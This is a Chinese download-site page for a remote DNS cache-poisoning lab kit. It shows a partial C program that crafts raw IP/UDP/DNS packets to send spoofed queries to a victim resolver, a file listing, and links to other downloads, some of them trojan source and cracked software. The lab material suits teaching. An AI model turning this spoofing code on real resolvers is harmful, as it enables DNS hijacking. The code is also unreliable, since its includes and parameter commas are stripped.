资源简介
远程DNS缓存攻击,包括攻击代码
代码片段和文件信息
// ----dns_request_demo.c------
// This sample program must be run by root lol!
// query
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However it is not enough for
// the lab please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap dns_request_demo.c -o dns_request_demo
//
//
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers‘ structure
// The IP header‘s structure
struct ipheader
{
unsigned char iph_ihl: 4 iph_ver: 4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header‘s structure
struct udpheader
{
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader
{
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet because such 4 byte data often appears.
struct dataEnd
{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
// structure to hold the answer end section
struct ansEnd
{
//char* name;
unsigned short int type;
//char* type;
unsigned short int class;
//char* class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
};
// structure to hold the authorative nameserver end section
struct nsEnd
{
//char* name;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
//unsigned int ns;
};
unsigned int checksum(uint16_t *usBuff int isize)
{
unsigned int cksum = 0;
for(; isize > 1; isize -= 2)
{
cksum += *usBuff++;
}
if(isize == 1)
{
cksum += *(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer int len)
{
unsigned long sum = 0;
struct ipheader *tempI = (struct ipheader *)(buffer);
struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
struct dnsheader *tempD = (struct dnsheader *)(buffer + s
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2016-12-07 17:07 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\
文件 286 2016-12-07 00:56 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\db.attacker
文件 217 2016-12-07 00:54 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\example.com.db
文件 18316 2016-12-07 11:12 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\Code\udp.c
文件 2145650 2016-12-03 14:25 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\DNS_Remote.pdf
文件 21914 2016-05-29 23:29 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\DNS_Remote_中文版.md
目录 0 2016-12-07 17:10 远程DNS缓存攻击__山东大学网络攻防实验三__代码与资源\
相关资源
- 远程监控系统 远程监控系统 远程监控
- win7 Windows DNS服务器搭建 可创建域名
- ubuntu 16.04LS 上WEB/DHCP/DNS的搭建
- STM32利用网络远程程序
- arm32平台可用的x11vnc服务端应用
- Qt远程控制软件源码
- 基于STM32的远程视频传输实现
- 非常好用的远程连接工具免安装破解
- 易语言远程控制源码 - 完整版,绝对
- DNS中继服务器 计算机网络 北邮
- Xware1.0.31_armel_v5te_glibc.zip
- win10破解多用户远程登录桌面补丁
- 易语言远程桌面代码加
- 通过IPMI远程部署ESXI.pdf
- 远程桌面链接(AnyDesk) V3.7.0.0绿色中
- WindosXP远程连接补丁KB952155
- 基于TCP协议的Labview无线视频接收及显
- 2017年全国大学生电子设计竞赛 全国一
- 扫描线Zbuffer
- 基于DataSocket技术的LabVIEW远程测控.p
- 北邮计通网实验三DNS DHCP服务
- RDO中文破解版 连接windows神器
- redis学习资料(可快速入手)
- 桌面远程连接软件开源版
- 远程幅频特性程序.rar
- S7A驱动完美破解
- 网络人远程控制软件旗舰版V2.289.rar
- Qt实现的Windows远程控制软件服务器端
- 木马源码,远程控制源码
- 设备故障诊断及远程维护技术.pdf
评论
共有 条评论